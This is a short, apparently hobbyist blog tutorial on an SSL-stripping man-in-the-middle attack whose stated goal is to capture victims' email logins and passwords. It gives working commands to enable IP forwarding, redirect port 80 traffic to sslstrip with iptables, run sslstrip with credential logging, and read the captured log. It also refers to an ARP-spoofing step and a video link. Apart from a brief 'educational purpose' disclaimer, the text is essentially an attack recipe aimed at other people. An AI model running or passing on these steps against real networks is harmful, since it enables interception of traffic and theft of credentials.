|| MAN IN THE MIDDLE ATTACK ||

THIS DEMOSTRATION IS ONLY FOR EDUCATIONAL PURPOSE!!!!!!!!
we will hack Email id and password & bypass https in this attack let see victims browser it is running on ssl .

now lets begin our attack


!)first run sslstrip

2)put ip in forward mode typ this :

echo 1 > /proc/sys/net/ipv4/ip_forward
3)now we will configure our iptables to port 10000 to redirect the packets on sslstrip because it is running on this port, type this:

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

4)u can run nmap to find vul. ip & gateways but i will not use nmap as i know victim ip & gateway
5)now we will run arpspoof attack to get ol packets of victim
4)atlast we will run sslstrip tool:
ls
python sslstrip.py
python ssltrip.py -w log  [here log is the file where aal email & password will be stored]
sslstrip will start sniffing the passwords XDXDXD

to see the log file typ:
less log
thanxx!

Tutorial commands And steps:
Video tutorial :  http://zyan.me/GdJRp  

SOURCE:-http://devzcyberarena.blogspot.in

AUTHOR:-Devendra Saini